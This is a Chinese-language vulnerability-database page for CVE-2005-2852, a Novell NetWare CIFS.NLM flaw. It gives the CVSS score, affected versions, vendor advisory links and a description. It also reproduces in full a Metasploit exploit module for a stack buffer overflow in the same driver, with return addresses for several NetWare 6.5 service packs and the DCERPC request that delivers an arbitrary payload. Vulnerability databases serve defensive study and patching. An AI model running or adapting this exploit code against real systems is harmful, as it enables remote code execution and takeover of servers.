CVE-2005-2852
CVSS5.0
发布时间 :2005-09-08 06:03:00
修订时间 :2008-09-05 16:52:50
NMCOE    

[原文]Unknown vulnerability in CIFS.NLM in Novell Netware 6.5 SP2 and SP3, 5.1, and 6.0 allows remote attackers to cause a denial of service (ABEND) via an incorrect password length, as exploited by the "worm.rbot.ccc" worm.


[CNNVD]Novell Netware CIFS.NLM未知的拒绝服务漏洞(CNNVD-200509-084)

        NetWare是Novell公司推出的网络操作系统。
        Novell Netware 6.5 SP2 版本的CIFS.NLM文件中的未知漏洞允许远程攻击者通过错误的密码长度触发服务拒绝(ABEND),由worm.rbot.ccc 蠕虫引发。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:novell:netware:6.5:sp2Novell NetWare 6.5 Service Pack 2
cpe:/o:novell:netware:6.0Novell NetWare 6.0
cpe:/o:novell:netware:6.5:sp3Novell NetWare 6.5 Service Pack 3
cpe:/o:novell:netware:5.1Novell NetWare 5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2852
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2852
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200509-084
(官方数据源) CNNVD

- 其它链接及资源

http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971832.htm
(VENDOR_ADVISORY)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971832.htm
http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971822.htm
(VENDOR_ADVISORY)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971822.htm
http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971821.htm
(VENDOR_ADVISORY)  CONFIRM  http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971821.htm

- 漏洞信息

Novell Netware CIFS.NLM未知的拒绝服务漏洞
中危 未知
2005-09-08 00:00:00 2005-10-20 00:00:00
远程  
        NetWare是Novell公司推出的网络操作系统。
        Novell Netware 6.5 SP2 版本的CIFS.NLM文件中的未知漏洞允许远程攻击者通过错误的密码长度触发服务拒绝(ABEND),由worm.rbot.ccc 蠕虫引发。

- 公告与补丁

        

- 漏洞信息 (16832)

Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow (EDBID:16832)
netware remote
2010-05-09 Verified
0 metasploit
N/A [点击下载]
##
# $Id: lsass_cifs.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
				Since the driver runs in the kernel space, a failed exploit attempt can
				cause the OS to reboot.
			},
			'Author'         =>
				[
					'toto',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-2852' ],
					[ 'OSVDB', '12790' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
				},
			'Platform'       => 'netware',
			'Targets'        =>
				[
					# NetWare SP can be found in the SNMP version :
					# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)

					[ 'VMware',   { 'Ret' => 0x000f142b } ],
					[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
					[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
				],

			'DisclosureDate' => 'Jan 21 2007'))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use (LSARPC)", 'lsarpc'])
			], self.class)

	end

	def exploit

		# Force multi-bind off (netware doesn't support it)
		datastore['DCERPC::fake_bind_multi'] = false

		connect()
		smb_login()

		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		stb =
			NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
			NDR.long(0) +
			NDR.long(0) +
			NDR.long(0) +
			NDR.long(0) +
			NDR.long(0) +
			NDR.long(0) +
			NDR.long(0x000f0fff)

		resp = dcerpc.call(0x2c, stb)
		handle, = resp[0,20]
		code, = resp[20, 4].unpack('V')

		name =
			rand_text_alphanumeric(0xa0) +
			[target.ret].pack('V') +
			payload.encoded

		stb =
			handle +
			NDR.long(1) +
			NDR.long(1) +

			NDR.short(name.length) +
			NDR.short(name.length) +
			NDR.long(rand(0xffffffff)) +

			NDR.UnicodeConformantVaryingStringPreBuilt(name) +

			NDR.long(0) +
			NDR.long(0) +
			NDR.long(1) +
			NDR.long(0)

		print_status("Calling the vulnerable function ...")

		begin
			dcerpc.call(0x0E, stb)
		rescue
		end

		# Cleanup
		handler
		disconnect
	end

end
		

- 漏洞信息

12790
Novell NetWare Unspecified CIFS.NLM Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

A buffer overflow exists in NetWare. The CIFS.NLM driver fails to validate unspecified data resulting in a stack overflow. With a specially crafted request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-01-05 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Novell has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站